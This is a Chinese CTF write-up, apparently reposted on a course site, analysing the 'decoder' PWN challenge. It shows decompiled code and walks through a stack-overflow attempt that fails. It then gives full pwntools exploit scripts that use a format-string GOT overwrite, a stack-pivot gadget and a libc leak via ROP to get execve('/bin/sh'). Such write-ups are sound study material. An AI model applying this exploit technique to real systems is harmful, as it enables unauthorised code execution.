欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]某个PWN题目(decoder)分析

[原创]某个PWN题目(decoder)分析

题目decoder见附件,部分反汇编后伪C代码如下:

int __cdecl main(int a1)

{

  **

  if ( read_data(0, (int)&src, 2048, 10) >= 0 )

  {

    while ( check(format) && v8 <= 10 )  //下标越界 可以造成栈溢出

    {

      ++v8;

      v2 = strlen(format);

      format = (char *)decode((int)format, v2, 0);

      snprintf(&s[2048 * v8], 0x800u, format);      //存在格式化字符串漏洞

      fflush(stdout);

    }

    for ( i = 1; i <= 9; ++i )

    {

      if ( v9[2048 * i - 20496] )

        printf("%d:%s\n", i, &s[2048 * i]);

    }

    sub_8048B00();

    result = 0;

  }

  **

}

通过观察反汇编代码发现有两个漏洞。

首先尝试栈溢出漏洞利用

思路,在对某个字符串进行11次base64加密,然后提交给漏洞程序decoder

相关代码如下:

#!/usr/bin/env python

from pwn import *

import base64

import pdb

context.log_level = 'debug'

p = process('./decoder')

elf = ELF('./decoder')

p.recvuntil('THIS IS A SIMPLE BASE64 DECODER')

str = 'aaaa'+p32(0x8048d80)+'aaaa'*10

payload=base64.b64encode(str)

for i in range(1, 10):

    payload=base64.b64encode(payload)

pdb.set_trace()

p.sendline(payload)

p.recv()

p.interactive()

进行解密时 最后一次在snprintf时  v8=10 拷贝的数据超出了s的缓冲空间,覆盖了栈里的数据

如图所示:

在程序返回的时候 ecx控制esp的值 esp控制返回地址,这里由于栈溢出导致了程序流程可以被控制

但是实际上snprintf在while循环里,在该函数溢出覆盖返回地址后,还要执行一次check函数

在check函数里  要执行一个strlen函数 ,这个函数的参数是个字符串地址  覆盖后要可读  否则报错

这里用0x8048d80覆盖 如上图所示。


本来以为到这里可以成功利用漏洞了,但是在函数开始就把esp压栈进行了保护,溢出后esp被覆盖,因为地址随机化,我们也不能有效地控制ESP来劫持程序流程,思考了很久 这个栈溢出漏洞暂时无法利用。


利用格式化字符串漏洞

因为存在格式化字符串漏洞,那么可以造成任意地址写,我们把后面的printf的got表地址覆盖就可以控制程序流程了。

我们构造格式化字符串,在进行snprintf的时候 内存数据布局如下:

可以看到 在fomate后面第9个参数 我们放的是804b010 就是printf got表地址  可以直接将其覆盖掉

在执行printf函数时内存数据布局如下:


可以看到esp离我们的可控数据区还比较远,所以得找到一个移栈的gadget

这里找到一个地址 0x8048b31如下:

将栈抬高0x48字节 这里就用0x8048b31覆盖printf got表

然后利用rop技术在栈里布置puts函数 打印出read函数地址,然后根据偏移计算得到libc的基地址

计算execve函数地址 以及'/bin/sh'字符串地址

最后返回到main函数去,重新触发漏洞

再次触发漏洞的时候 利用rop技术执行execve('/bin/sh',0,0)

可以成功得到shell

最终exp如下:

from pwn import *

from struct import pack

from base64 import b64encode

import pdb

context.log_level = 'debug'

libc = ELF('libcmy.so')

elf = ELF('decoder')

def s(d):

    return b64encode(d)

t = process('LD_PRELOAD=/root/libcmy.so ./decoder',shell=True)

t.recvline()

pay = '%%0%dc'

pay += '%%%02d$n'

d1 = pay%(0x08048b31,1)

l =  len(d1)/3 + (1 if len(d1)%3 != 0 else 0)

l += 3

payload = pay%(0x08048b31,l)

rop = ROP(elf)

rop.puts(0x0804B00C)

rop.call(0x08048B37)

t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010) + 'a'*20 + str(rop))

read_addr = t.recv(4)

read_addr = u32(read_addr)

libc_addr = read_addr - libc.symbols['read']

execve = libc_addr + libc.symbols['execve']

sh = libc_addr + libc.search('/bin/sh').next()

print hex(libc_addr)

t.recvline()

t.recvuntil('THIS IS A SIMPLE BASE64 DECODER\n')

pay = '%%0%dc'

pay += '%%%02d$n'

d1 = pay%(0x08048b31,1)

l =  len(d1)/3 + (1 if len(d1)%3 != 0 else 0)

l += 3

payload = pay%(0x08048b31,l)

rop = ROP(elf)

rop.call(execve,(sh,0,0))

t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010)+'a'*20 + str(rop))

t.interactive()


上传的附件 decoder

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功